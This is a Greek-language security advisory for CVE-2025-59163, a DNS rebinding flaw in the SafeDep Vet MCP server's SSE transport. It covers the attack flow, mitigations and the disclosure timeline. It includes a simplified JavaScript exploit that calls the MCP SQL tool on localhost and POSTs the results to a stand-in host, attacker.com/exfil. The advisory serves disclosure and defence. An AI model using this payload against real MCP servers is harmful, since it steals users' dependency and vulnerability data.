Συντάκτης: Evan Harris
Κίνδυνος: Χαμηλός (CVSS 2.1/10)
Επηρεαζόμενο στοιχείο: SafeDep Vet MCP Server
Αναγνωριστικό CVE: CVE-2025-59163
Επηρεαζόμενες εκδόσεις: < v1.12.5
Διορθωμένες εκδόσεις: v1.12.5

Επισκόπηση

Ο SafeDep Vet MCP server είναι ευάλωτος σε επιθέσεις DNS rebinding όταν εκτελείται με το SSE transport. Η ευπάθεια πηγάζει από την έλλειψη επικύρωσης των HTTP κεφαλίδων Host και Origin, επιτρέποντας σε κακόβουλους ιστότοπους να παρακάμπτουν τις προστασίες της Same-Origin Policy και να εκτελούν μη εξουσιοδοτημένες κλήσεις εργαλείων εναντίον στιγμιότυπων Vet MCP.

Μόλις το DNS rebinding επιτύχει, ένας επιτιθέμενος μπορεί να εγκαθιδρύσει μια συνεδρία με το endpoint /sse, να καλέσει τα ενεργοποιημένα εργαλεία MCP και να εξάγει το περιεχόμενο της βάσης δεδομένων Vet SQLite του χρήστη σε έναν διακομιστή ελεγχόμενο από τον επιτιθέμενο.

Η ομάδα SafeDep ανταποκρίθηκε άμεσα σε αυτή τη γνωστοποίηση, κυκλοφορώντας μια διορθωμένη έκδοση (v1.12.5) μέσα σε λίγες ημέρες, η οποία υλοποιεί επικύρωση των κεφαλίδων Host και Origin με μια λίστα επιτρεπομένων.

Τεχνικές λεπτομέρειες

Η ευπάθεια

Όταν ο Vet MCP server εκτελείται με SSE transport (--server-type sse), εκθέτει ένα HTTP endpoint που αποδέχεται συνδέσεις από οποιαδήποτε origin. Στον διακομιστή λείπει η επικύρωση των:

  • HTTP κεφαλίδα Host - επιτρέπει αιτήματα που ισχυρίζονται ότι προέρχονται από οποιονδήποτε τομέα
  • HTTP κεφαλίδα Origin - επιτρέπει αιτήματα cross-origin από κακόβουλους ιστότοπους

Αυτή η ελλείπουσα επικύρωση καθιστά εφικτές τις επιθέσεις DNS rebinding, όπου:

  1. Ένας επιτιθέμενος ελέγχει έναν τομέα με εγγραφές DNS πολύ χαμηλού TTL
  2. Το θύμα επισκέπτεται τον ιστότοπο του επιτιθέμενου (π.χ. attacker.com)
  3. Η JavaScript του επιτιθέμενου αρχικά αντιστοιχίζεται στη διεύθυνση IP του επιτιθέμενου
  4. Αφού ο browser του θύματος αποθηκεύσει τη σύνδεση στην cache, η εγγραφή DNS αλλάζει σε 127.0.0.1
  5. Τα επόμενα αιτήματα από το attacker.com στοχεύουν πλέον το localhost του θύματος
  6. Η Same-Origin Policy του browser παρακάμπτεται επειδή η origin παραμένει attacker.com

Ευπαθής διαμόρφωση

Η επίθεση απαιτεί τις ακόλουθες συνθήκες:

  • Έχει εκτελεστεί μια σάρωση Vet και οι αναφορές καταγράφονται σε μια βάση δεδομένων
  • Ο Vet MCP server εκτελείται με ενεργοποιημένο το SSE transport
  • Ο επιτιθέμενος παρασύρει το θύμα σε έναν ιστότοπο ελεγχόμενο από τον επιτιθέμενο

Φορέας επίθεσης

Ο επιτιθέμενος αξιοποιεί το DNS rebinding για να:

  1. Εγκαθιδρύσει σύνδεση με το http://127.0.0.1:9988/sse
  2. Αποκτήσει ένα έγκυρο αναγνωριστικό συνεδρίας MCP
  3. Αρχικοποιήσει μια συνεδρία MCP
  4. Καλέσει το εργαλείο vet_query_execute_sql_query με αυθαίρετα READ SQL queries
  5. Λάβει απαντήσεις μέσω της ροής SSE
  6. Εξάγει δεδομένα σε έναν διακομιστή ελεγχόμενο από τον επιτιθέμενο

Σενάριο επίθεσης

Προετοιμασία στην πλευρά του θύματος

Ένας ερευνητής ασφαλείας ή προγραμματιστής:

  1. Εγκαθιστά το Vet για σάρωση ευπαθειών εξαρτήσεων
  2. Εκτελεί μια σάρωση: vet scan -D /path/to/project
  3. Εκκινεί τον MCP server με SSE transport:
    ./vet server mcp --server-type sse --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  4. Ο διακομιστής συνδέεται στο 127.0.0.1:9988 εξ ορισμού

Εκμετάλλευση από τον επιτιθέμενο

Ο επιτιθέμενος προετοιμάζει την υποδομή DNS rebinding:

  1. Στήνει έναν διακομιστή DNS με wildcard εγγραφές για έναν τομέα (π.χ. rebinder.attacker.com)
  2. Διαμορφώνει τον διακομιστή DNS ώστε να επιστρέφει αρχικά τη διεύθυνση IP του επιτιθέμενου και στη συνέχεια να κάνει rebind στο 127.0.0.1
  3. Φιλοξενεί έναν κακόβουλο ιστότοπο με JavaScript που:
    • Ανιχνεύει πότε το DNS rebinding επιτυγχάνει
    • Συνδέεται στο SSE endpoint του Vet στο http://127.0.0.1:9988/sse
    • Εγκαθιδρύει μια συνεδρία MCP
    • Εκτελεί SQL queries εναντίον της βάσης δεδομένων του θύματος
    • Εξάγει τα αποτελέσματα

Ροή εκμετάλλευσης

// Attacker's malicious payload (simplified)
const eventSource = new EventSource(`http://${window.location.hostname}:9988/sse`);

eventSource.onmessage = (event) => {
  if (event.data.includes('sessionId')) {
    const sessionId = extractSessionId(event.data);
    const endpoint = `http://${window.location.hostname}:9988/message?sessionId=${sessionId}`;

    // Initialize MCP session
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({ method: 'initialize' })
    });

    // Execute SQL query
    fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({
        jsonrpc: '2.0',
        method: 'tools/call',
        params: {
          name: 'vet_query_execute_sql_query',
          arguments: { sql: 'SELECT * FROM report_packages' }
        }
      })
    });
  } else {
    // Exfiltrate data received via SSE
    fetch('https://attacker.com/exfil', {
      method: 'POST',
      body: event.data
    });
  }
};

Το θύμα χρειάζεται απλώς να επισκεφθεί τον ιστότοπο του επιτιθέμενου (π.χ. μέσω ενός συνδέσμου σε phishing email, μιας παραβιασμένης διαφήμισης ή ενός κακόβουλου GitHub issue) ενώ ο Vet MCP server του εκτελείται.

Αξιολόγηση αντικτύπου

Παραβίαση εμπιστευτικότητας

Κύριος αντίκτυπος:

  • Πλήρης πρόσβαση READ στη βάση δεδομένων σάρωσης Vet SQLite μέσω του εργαλείου vet_query_execute_sql_query
  • Έκθεση πληροφοριών ευπαθειών πακέτων, συμπεριλαμβανομένων:
    • Ονόματα και εκδόσεις πακέτων που χρησιμοποιούνται
    • Γνωστά CVE που επηρεάζουν τις εξαρτήσεις του θύματος
    • Βαθμολογίες σοβαρότητας και λεπτομέρειες ευπαθειών
    • Πληροφορίες για την εφοδιαστική αλυσίδα λογισμικού

Ενίσχυση κινδύνου:

  • Οι επιτιθέμενοι αποκτούν πληροφορίες για τα ευπαθή πακέτα στο περιβάλλον του θύματος
  • Οι εξαρτήσεις και οι εκδόσεις πακέτων αποκαλύπτουν λεπτομέρειες της τεχνολογικής στοίβας
  • Αυτές οι πληροφορίες μπορούν να χρησιμοποιηθούν για τη δημιουργία στοχευμένων exploits

Απαιτήσεις επίθεσης

Παράγοντες που περιορίζουν τη δυνατότητα εκμετάλλευσης:

  • Απαιτείται ενεργή αλληλεπίδραση χρήστη: Το θύμα πρέπει να επισκεφθεί έναν κακόβουλο ιστότοπο
  • Χρονικό παράθυρο: Ο Vet MCP server πρέπει να εκτελείται ενεργά με SSE transport
  • Απαίτηση διαμόρφωσης: Το θύμα πρέπει να έχει εκκινήσει ρητά τον διακομιστή με --server-type sse (όχι το προεπιλεγμένο stdio transport)
  • Βασισμένο σε browser: Η επίθεση απαιτεί έναν σύγχρονο browser με υποστήριξη EventSource

Αυτοί οι παράγοντες συμβάλλουν στη βαθμολογία Χαμηλής σοβαρότητας (CVSS 2.1/10) παρά τη δυνατότητα εξαγωγής δεδομένων.

Συνιστώμενοι μετριασμοί

Για τους χρήστες (άμεσα)

  1. Ενημερώστε στην v1.12.5 ή νεότερη:
    # Download the latest release
    wget https://github.com/safedep/vet/releases/download/v1.12.5/vet_Linux_x86_64.tar.gz
    tar -xzf vet_Linux_x86_64.tar.gz
    ./vet --version  # Verify v1.12.5 or later
    
  2. Χρησιμοποιήστε το stdio transport (προεπιλογή):
    # Avoid using --server-type sse unless necessary
    ./vet server mcp --sql-query-tool --sql-query-tool-db-path ./vet_scan.db
    
  3. Απομόνωση δικτύου:
    • Εκτελείτε τον MCP server μόνο σε έμπιστα δίκτυα
    • Χρησιμοποιήστε κανόνες firewall για τον περιορισμό της πρόσβασης στη θύρα 9988
    • Αποφύγετε την περιήγηση σε μη έμπιστους ιστότοπους ενώ ο διακομιστής εκτελείται

Για τους προγραμματιστές

Υλοποιήθηκε στην v1.12.5:

  • Επικύρωση κεφαλίδας Host με μια λίστα επιτρεπομένων
  • Επικύρωση κεφαλίδας Origin για την αποτροπή αιτημάτων cross-origin
  • Απόρριψη αιτημάτων με μη έγκυρες ή απούσες κεφαλίδες ασφαλείας

Βέλτιστες πρακτικές για υλοποιήσεις MCP Server:

  • Πάντα να επικυρώνετε τις κεφαλίδες Host και Origin για transports βασισμένα σε HTTP
  • Εξ ορισμού συνδέεστε μόνο στο localhost (127.0.0.1) αντί για 0.0.0.0
  • Προτιμήστε το stdio transport έναντι των transports βασισμένων σε δίκτυο όποτε είναι δυνατόν
  • Τεκμηριώστε τις επιπτώσεις ασφαλείας των διαφορετικών τρόπων transport
  • Υλοποιήστε αυστηρές πολιτικές CORS

Χρονολόγιο γνωστοποίησης

  • 2025-08-30: Υποβολή αρχικής αναφοράς ευπάθειας στη SafeDep
  • 2025-09-01: Η SafeDep επιβεβαιώνει τη λήψη της αναφοράς
  • 2025-09-02: Η SafeDep υποβάλλει pull request με patch που υλοποιεί την επικύρωση κεφαλίδων
  • 2025-09-05: Κυκλοφορεί η διορθωμένη έκδοση v1.12.5
  • 2025-09-29: Δημοσιεύεται το GitHub Security Advisory, η ημερομηνία συντονισμένης γνωστοποίησης επιβεβαιώνεται από αμφότερα τα μέρη
  • 2025-10-06: Δημοσίευση τεχνικού δελτίου ασφαλείας

Συμπέρασμα

Η ευπάθεια DNS rebinding στον Vet MCP Server καταδεικνύει μια σημαντική παράμετρο ασφαλείας για τις υλοποιήσεις MCP: τα transports βασισμένα σε δίκτυο απαιτούν προσεκτική επικύρωση των HTTP κεφαλίδων ασφαλείας για την αποτροπή επιθέσεων cross-origin.

Αν και η επίθεση απαιτεί συγκεκριμένες συνθήκες (ενεργός MCP server με SSE transport, επίσκεψη του θύματος σε κακόβουλο ιστότοπο, χρονικό παράθυρο), η δυνατότητα εξαγωγής δεδομένων δικαιολόγησε την υπεύθυνη γνωστοποίηση και τη διόρθωση.

Η αντίδραση της SafeDep αποτελεί υπόδειγμα υπεύθυνων πρακτικών ασφαλείας:

  • Άμεση επιβεβαίωση της αναφοράς
  • Ταχεία ανάπτυξη και κυκλοφορία patch (5 ημέρες από την αναφορά έως την κυκλοφορία)
  • Συντονισμένη γνωστοποίηση μέσω GitHub Security Advisory
  • Σαφής επικοινωνία καθ’ όλη τη διάρκεια της διαδικασίας

Όλοι οι χρήστες που εκτελούν τον Vet MCP server με SSE transport θα πρέπει να ενημερώσουν αμέσως στην v1.12.5. Για τις περισσότερες περιπτώσεις χρήσης, το προεπιλεγμένο stdio transport παρέχει μια πιο ασφαλή εναλλακτική.

Αναφορές